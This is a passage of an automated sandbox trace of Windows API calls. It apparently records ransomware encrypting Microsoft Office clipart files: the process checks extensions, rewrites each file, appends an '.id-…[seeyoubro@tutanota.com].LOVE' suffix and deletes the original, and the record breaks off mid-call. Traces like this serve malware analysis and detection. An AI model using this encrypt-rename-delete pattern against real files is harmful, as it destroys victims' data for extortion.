lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.494] lstrlenW (lpString=".ppt") returned 4 [0221.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0221.494] lstrlenW (lpString=".zip") returned 4 [0221.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.494] lstrlenW (lpString=".rar") returned 4 [0221.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.495] lstrlenW (lpString=".bz2") returned 4 [0221.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.495] lstrlenW (lpString=".7z") returned 3 [0221.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0221.495] lstrlenW (lpString=".dbf") returned 4 [0221.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0221.495] lstrlenW (lpString=".1cd") returned 4 [0221.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0221.495] lstrlenW (lpString=".jpg") returned 4 [0221.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.496] GetLastError () returned 0x0 [0221.496] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x52c, lpOverlapped=0x0) returned 1 [0221.529] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x530, lpOverlapped=0x0) returned 1 [0221.531] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.531] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.531] SetEndOfFile (hFile=0x384) returned 1 [0221.531] CloseHandle (hObject=0x384) returned 1 [0221.531] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.531] SetEndOfFile (hFile=0x2d8) returned 1 [0221.532] CloseHandle (hObject=0x2d8) returned 1 [0221.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0221.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0221.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0221.533] lstrlenW (lpString=".doc") returned 4 [0221.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.533] lstrlenW (lpString=".docx") returned 5 [0221.533] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.533] lstrlenW (lpString=".pdf") returned 4 [0221.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.533] lstrlenW (lpString=".xls") returned 4 [0221.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.533] lstrlenW (lpString=".xlsx") returned 5 [0221.533] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.533] lstrlenW (lpString=".ppt") returned 4 [0221.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0221.534] lstrlenW (lpString=".zip") returned 4 [0221.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.534] lstrlenW (lpString=".rar") returned 4 [0221.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.534] lstrlenW (lpString=".bz2") returned 4 [0221.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.534] lstrlenW (lpString=".7z") returned 3 [0221.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0221.534] lstrlenW (lpString=".dbf") returned 4 [0221.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0221.534] lstrlenW (lpString=".1cd") returned 4 [0221.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0221.534] lstrlenW (lpString=".jpg") returned 4 [0221.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.535] GetLastError () returned 0x0 [0221.535] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xc0a, lpOverlapped=0x0) returned 1 [0221.562] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xc10, lpOverlapped=0x0) returned 1 [0221.563] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.563] WriteFile (in: hFile=0x384, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.563] SetEndOfFile (hFile=0x384) returned 1 [0221.572] CloseHandle (hObject=0x384) returned 1 [0221.573] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.573] SetEndOfFile (hFile=0x2d8) returned 1 [0221.577] CloseHandle (hObject=0x2d8) returned 1 [0221.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0221.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0221.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0221.578] lstrlenW (lpString=".doc") returned 4 [0221.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.578] lstrlenW (lpString=".docx") returned 5 [0221.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.578] lstrlenW (lpString=".pdf") returned 4 [0221.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.578] lstrlenW (lpString=".xls") returned 4 [0221.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.579] lstrlenW (lpString=".xlsx") returned 5 [0221.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.579] lstrlenW (lpString=".ppt") returned 4 [0221.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0221.579] lstrlenW (lpString=".zip") returned 4 [0221.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.579] lstrlenW (lpString=".rar") returned 4 [0221.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.579] lstrlenW (lpString=".bz2") returned 4 [0221.579] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.579] lstrlenW (lpString=".7z") returned 3 [0221.579] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0221.579] lstrlenW (lpString=".dbf") returned 4 [0221.579] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0221.579] lstrlenW (lpString=".1cd") returned 4 [0221.579] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0221.579] lstrlenW (lpString=".jpg") returned 4 [0221.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.615] GetLastError () returned 0x0 [0221.615] ReadFile (in: hFile=0x320, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xb10, lpOverlapped=0x0) returned 1 [0221.643] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xb20, lpOverlapped=0x0) returned 1 [0221.644] ReadFile (in: hFile=0x320, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.646] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.648] SetEndOfFile (hFile=0x2d8) returned 1 [0221.652] CloseHandle (hObject=0x2d8) returned 1 [0221.654] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.654] SetEndOfFile (hFile=0x320) returned 1 [0221.656] CloseHandle (hObject=0x320) returned 1 [0221.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0221.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0221.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0221.659] lstrlenW (lpString=".doc") returned 4 [0221.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.659] lstrlenW (lpString=".docx") returned 5 [0221.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.659] lstrlenW (lpString=".pdf") returned 4 [0221.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.659] lstrlenW (lpString=".xls") returned 4 [0221.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.659] lstrlenW (lpString=".xlsx") returned 5 [0221.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.659] lstrlenW (lpString=".ppt") returned 4 [0221.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0221.660] lstrlenW (lpString=".zip") returned 4 [0221.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.660] lstrlenW (lpString=".rar") returned 4 [0221.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.660] lstrlenW (lpString=".bz2") returned 4 [0221.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.660] lstrlenW (lpString=".7z") returned 3 [0221.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0221.660] lstrlenW (lpString=".dbf") returned 4 [0221.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0221.660] lstrlenW (lpString=".1cd") returned 4 [0221.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0221.660] lstrlenW (lpString=".jpg") returned 4 [0221.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.660] GetLastError () returned 0x0 [0221.661] ReadFile (in: hFile=0x384, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x432, lpOverlapped=0x0) returned 1 [0221.840] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x440, lpOverlapped=0x0) returned 1 [0221.841] ReadFile (in: hFile=0x384, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.841] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.842] SetEndOfFile (hFile=0x33c) returned 1 [0221.842] CloseHandle (hObject=0x33c) returned 1 [0221.842] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.842] SetEndOfFile (hFile=0x384) returned 1 [0221.843] CloseHandle (hObject=0x384) returned 1 [0221.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0221.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0221.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0221.843] lstrlenW (lpString=".doc") returned 4 [0221.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.843] lstrlenW (lpString=".docx") returned 5 [0221.843] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.843] lstrlenW (lpString=".pdf") returned 4 [0221.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.843] lstrlenW (lpString=".xls") returned 4 [0221.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.843] lstrlenW (lpString=".xlsx") returned 5 [0221.843] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.844] lstrlenW (lpString=".ppt") returned 4 [0221.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0221.844] lstrlenW (lpString=".zip") returned 4 [0221.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.844] lstrlenW (lpString=".rar") returned 4 [0221.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.844] lstrlenW (lpString=".bz2") returned 4 [0221.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.844] lstrlenW (lpString=".7z") returned 3 [0221.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0221.844] lstrlenW (lpString=".dbf") returned 4 [0221.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0221.844] lstrlenW (lpString=".1cd") returned 4 [0221.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0221.844] lstrlenW (lpString=".jpg") returned 4 [0221.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.844] GetLastError () returned 0x0 [0221.844] ReadFile (in: hFile=0x384, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x738, lpOverlapped=0x0) returned 1 [0221.849] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x740, lpOverlapped=0x0) returned 1 [0221.849] ReadFile (in: hFile=0x384, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.849] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.850] SetEndOfFile (hFile=0x33c) returned 1 [0221.850] CloseHandle (hObject=0x33c) returned 1 [0221.850] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.850] SetEndOfFile (hFile=0x384) returned 1 [0221.851] CloseHandle (hObject=0x384) returned 1 [0221.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0221.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0221.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0221.851] lstrlenW (lpString=".doc") returned 4 [0221.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.851] lstrlenW (lpString=".docx") returned 5 [0221.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.851] lstrlenW (lpString=".pdf") returned 4 [0221.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.851] lstrlenW (lpString=".xls") returned 4 [0221.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.851] lstrlenW (lpString=".xlsx") returned 5 [0221.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.852] lstrlenW (lpString=".ppt") returned 4 [0221.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0221.852] lstrlenW (lpString=".zip") returned 4 [0221.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.852] lstrlenW (lpString=".rar") returned 4 [0221.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.852] lstrlenW (lpString=".bz2") returned 4 [0221.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.852] lstrlenW (lpString=".7z") returned 3 [0221.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0221.852] lstrlenW (lpString=".dbf") returned 4 [0221.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0221.852] lstrlenW (lpString=".1cd") returned 4 [0221.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0221.852] lstrlenW (lpString=".jpg") returned 4 [0221.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.852] GetLastError () returned 0x0 [0221.852] ReadFile (in: hFile=0x384, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x2bb6, lpOverlapped=0x0) returned 1 [0221.939] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0221.940] ReadFile (in: hFile=0x384, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0221.940] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0221.941] SetEndOfFile (hFile=0x33c) returned 1 [0221.941] CloseHandle (hObject=0x33c) returned 1 [0221.941] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0221.941] SetEndOfFile (hFile=0x384) returned 1 [0221.942] CloseHandle (hObject=0x384) returned 1 [0221.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0221.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0221.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0221.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0221.943] lstrlenW (lpString=".doc") returned 4 [0221.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0221.943] lstrlenW (lpString=".docx") returned 5 [0221.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0221.943] lstrlenW (lpString=".pdf") returned 4 [0221.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0221.943] lstrlenW (lpString=".xls") returned 4 [0221.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0221.943] lstrlenW (lpString=".xlsx") returned 5 [0221.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0221.943] lstrlenW (lpString=".ppt") returned 4 [0221.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0221.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0221.944] lstrlenW (lpString=".zip") returned 4 [0221.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0221.944] lstrlenW (lpString=".rar") returned 4 [0221.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0221.944] lstrlenW (lpString=".bz2") returned 4 [0221.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0221.944] lstrlenW (lpString=".7z") returned 3 [0221.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0221.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0221.944] lstrlenW (lpString=".dbf") returned 4 [0221.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0221.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0221.944] lstrlenW (lpString=".1cd") returned 4 [0221.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0221.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0221.944] lstrlenW (lpString=".jpg") returned 4 [0221.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0221.954] GetLastError () returned 0x0 [0221.954] ReadFile (in: hFile=0x36c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x764, lpOverlapped=0x0) returned 1 [0222.069] WriteFile (in: 